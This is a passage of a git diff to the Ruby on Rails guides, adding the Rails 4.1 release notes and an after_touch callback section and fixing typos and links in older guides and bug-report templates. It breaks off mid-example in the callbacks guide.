diff options
Diffstat (limited to 'guides')
36 files changed, 1716 insertions, 366 deletions
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb index 89ac28671a..e7a1e9bd87 100644 --- a/guides/bug_report_templates/action_controller_gem.rb +++ b/guides/bug_report_templates/action_controller_gem.rb @@ -29,7 +29,7 @@ end require 'minitest/autorun' require 'rack/test' -class BugTest < MiniTest::Unit::TestCase +class BugTest < Minitest::Unit::TestCase include Rack::Test::Methods def test_returns_success diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb index a8868a1877..37cd700fbf 100644 --- a/guides/bug_report_templates/active_record_gem.rb +++ b/guides/bug_report_templates/active_record_gem.rb @@ -25,7 +25,7 @@ class Comment < ActiveRecord::Base belongs_to :post end -class BugTest < MiniTest::Unit::TestCase +class BugTest < Minitest::Unit::TestCase def test_association_stuff post = Post.create! post.comments << Comment.create! diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb index 2435444dc9..d95354e12d 100644 --- a/guides/bug_report_templates/active_record_master.rb +++ b/guides/bug_report_templates/active_record_master.rb @@ -2,6 +2,7 @@ unless File.exist?('Gemfile') File.write('Gemfile', <<-GEMFILE) source 'https://rubygems.org' gem 'rails', github: 'rails/rails' + gem 'arel', github: 'rails/arel' gem 'sqlite3' GEMFILE diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt index 1a3a5e4dd2..3c9c7c01f3 100644 --- a/guides/code/getting_started/public/robots.txt +++ b/guides/code/getting_started/public/robots.txt @@ -1,4 +1,4 @@ -# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file # # To ban all spiders from the entire site uncomment the next two lines: # User-agent: * diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index c11d1240c4..522f628a7e 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. * The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` Railties -------- diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md index 5c99892e39..485f8c756b 100644 --- a/guides/source/3_1_release_notes.md +++ b/guides/source/3_1_release_notes.md @@ -286,7 +286,7 @@ Action Pack end ``` - You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information. + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. * The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index a9484cf97a..ce811a583b 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -238,7 +238,7 @@ Action Pack end ``` - In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. * Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index c0eb77c1e7..19c690233c 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -15,7 +15,7 @@ These release notes cover only the major changes. To know about various bug fixe Upgrading to Rails 4.0 ---------------------- -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. Creating a Rails 4.0 application @@ -90,7 +90,7 @@ Major Features * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). - + Extraction of features to gems --------------------------- @@ -268,7 +268,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a * `scoped_by_...` can be rewritten using `where(...)`. * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. - * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. + * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. Credits ------- diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..5c621d0a1b --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,609 @@ +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Spring application preloader +* `config/secrets.yml` +* Action Pack variants +* Action Mailer previews + +These release notes cover only the major changes. To know about various bug +fixes and changes, please refer to the change logs or check out the +[list of commits](https://github.com/rails/rails/commits/master) in the main +Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Spring Application Preloader + +Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration. + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage of preloaded +spring environments. + +**Running rake tasks:** + +``` +bin/rake test:models +``` + +**Running a Rails command:** + +``` +bin/rails console +``` + +**Spring introspection:** + +``` +$ bin/spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/jonleighton/spring/blob/master/README.md) to +see all available features. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) +guide on how to migrate existing applications to use this feature. + +### `config/secrets.yml` + +Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, +this file contains the application's `secret_key_base`, but it could also be +used to store other secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + +```yaml +development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY +``` + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) +guide on how to migrate existing applications to use this feature. + +### Action Pack Variants + +We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a `before_action`: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +You can also simplify the variants definition using the inline syntax: + +```ruby +respond_to do |format| + format.js { render "trash" } + format.html.phone { redirect_to progress_path } + format.html.none { render "trash" } +end +``` + +### Action Mailer Previews + +Action Mailer previews provide a way to visually see how emails look by visiting +a special URL that renders them. + +You implement a preview class whose methods return the mail object you'd like +to check: + +```ruby +class NotifierPreview < ActionMailer::Preview + def welcome + Notifier.welcome(User.first) + end +end +``` + +The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers. + +By default, these preview classes live in <tt>test/mailers/previews</tt>. +This can be configured using the <tt>preview_path</tt> option. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html) +for a detailed write up. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archived! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations +``` + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) +for a detailed write up. + +### Application Message Verifier + +The application message verifier can be used to generate and verify signed +messages in the application. This can be useful for remember-me tokens and +friends: + +```ruby +signed_message = Rails.application.message_verifier('salt').generate('my sensible data') +Rails.application.message_verifier('salt').verify(signed_message) +# => 'my sensible data' + +Rails.application.message_verifier('salt').verify(tampered_message) +# raises ActiveSupport::MessageVerifier::InvalidSignature + +``` + +### Module#concerning + +A natural, low-ceremony way to separate responsibilities within a class: + +```ruby +class Todo < ActiveRecord::Base + concerning :EventTracking do + included do + has_many :events + end + + def latest_event + ... + end + + private + def some_internal_method + ... + end + end +end +``` + +This example is equivalent to defining a `EventTracking` module inline, +extending it with `ActiveSupport::Concern`, then mixing it in to the +`Todo` class. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) +for a detailed write up and the intended use cases. + +### CSRF protection from remote `<script>` tags + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means any of your tests that hit `.js` URLs will now fail CSRF protection +unless they use `xhr`. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit +`xhr :post, :create, format: :js`. + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated `threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/jonleighton/spring) is now installed + by default for new applications. It uses the development group of + the Gemfile, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Add `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + + | Removed | Successor | + |:-----------------------------------|:--------------------------------| + | ActionController::AbstractRequest | ActionDispatch::Request | + | ActionController::Request | ActionDispatch::Request | + | ActionController::AbstractResponse | ActionDispatch::Response | + | ActionController::Response | ActionDispatch::Response | + | ActionController::Routing | ActionDispatch::Routing | + | ActionController::Integration | ActionDispatch::Integration | + | ActionController::IntegrationTest | ActionDispatch::IntegrationTest | + +### Notable changes + +* `protect_from_forgery` also prevents cross-origin `<script>` tags. + Update your tests to use `xhr :get, :foo, format: :js` instead of + `get :foo, format: :js`. + ([Pull Request](https://github.com/rails/rails/pull/13345)) + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with `d:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + methodd. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated the delegation of Array bang methods for associations. + To use them, instead first call `#to_a` on the association to access the + array to be acted + on. ([Pull Request](https://github.com/rails/rails/pull/12129)) + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +### Notable changes + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracetd into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or time difference by stubbing + `Time.now` and + `Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index 93c177905c..27c53689c4 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -15,7 +15,7 @@ </p> <% end %> <p> - The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.15/">http://guides.rubyonrails.org/v3.2.15/</a>. + The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.16/">http://guides.rubyonrails.org/v3.2.16/</a>. </p> <p> The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index de9ead78a6..8ea3859475 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -321,10 +321,12 @@ in mind. It is not meant as a silver bullet to handle all your whitelisting problems. However you can easily mix the API with your own code to adapt to your situation. -Imagine a scenario where you want to whitelist an attribute -containing a hash with any keys. Using strong parameters you can't -allow a hash with any keys but you can use a simple assignment to get -the job done: +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to whitelist the product name attribute but also the whole +data hash. The strong parameters API doesn't let you directly +whitelist the whole of a nested hash with any keys, but you can use +the keys of your nested hash to declare what to whitelist: ```ruby def product_params @@ -792,7 +794,7 @@ class AdminsController < ApplicationController end ``` -With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. +With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. ### HTTP Digest Authentication @@ -988,7 +990,7 @@ you should also note the following things: * Failing to close the response stream will leave the corresponding socket open forever. Make sure to call `close` whenever you are using a response stream. * WEBrick servers buffer all responses, and so including `ActionController::Live` - will not work. You must use a web server which does not automatically buffer + will not work. You must use a web server which does not automatically buffer responses. Log Filtering diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index d19dd11181..6a355a5177 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: ```erb -<%= render @products, spacer_template: "product_ruler" %> +<%= render partial: @products, spacer_template: "product_ruler" %> ``` Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. @@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # => #### auto_discovery_link_tag -Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. +Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => @@ -1143,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world. #### country_select -Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. +Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. #### option_groups_from_collection_for_select @@ -1242,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world. #### time_zone_select -Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. ```ruby time_zone_select( "user", "time_zone") @@ -1258,7 +1258,7 @@ date_field("user", "dob") ### FormTagHelper -Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. #### check_box_tag @@ -1285,7 +1285,7 @@ Creates a field set for grouping HTML form elements. Creates a file upload field. ```html+erb -<%= form_tag {action: "post"}, {multipart: true} do %> +<%= form_tag({action:"post"}, multipart: true) do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1591,7 +1591,7 @@ Localized Views Action View has the ability render different templates depending on the current locale. -For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index ac5e8ffc0c..667433285f 100644 --- a/guides/source/active_record_callbacks.md +++ b/guides/source/active_record_callbacks.md @@ -55,7 +55,7 @@ class User < ActiveRecord::Base end ``` -Callbacks can also be registered to only fire on certain lifecycle events: +Callbacks can also be registered to only fire on certain life cycle events: ```ruby class User < ActiveRecord::Base @@ -141,6 +141,55 @@ You have initialized an object! => #<User id: 1> ``` +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ActiveRecord::Base + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ActiveRecord::Base + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ActiveRecord::Base + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last +=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> 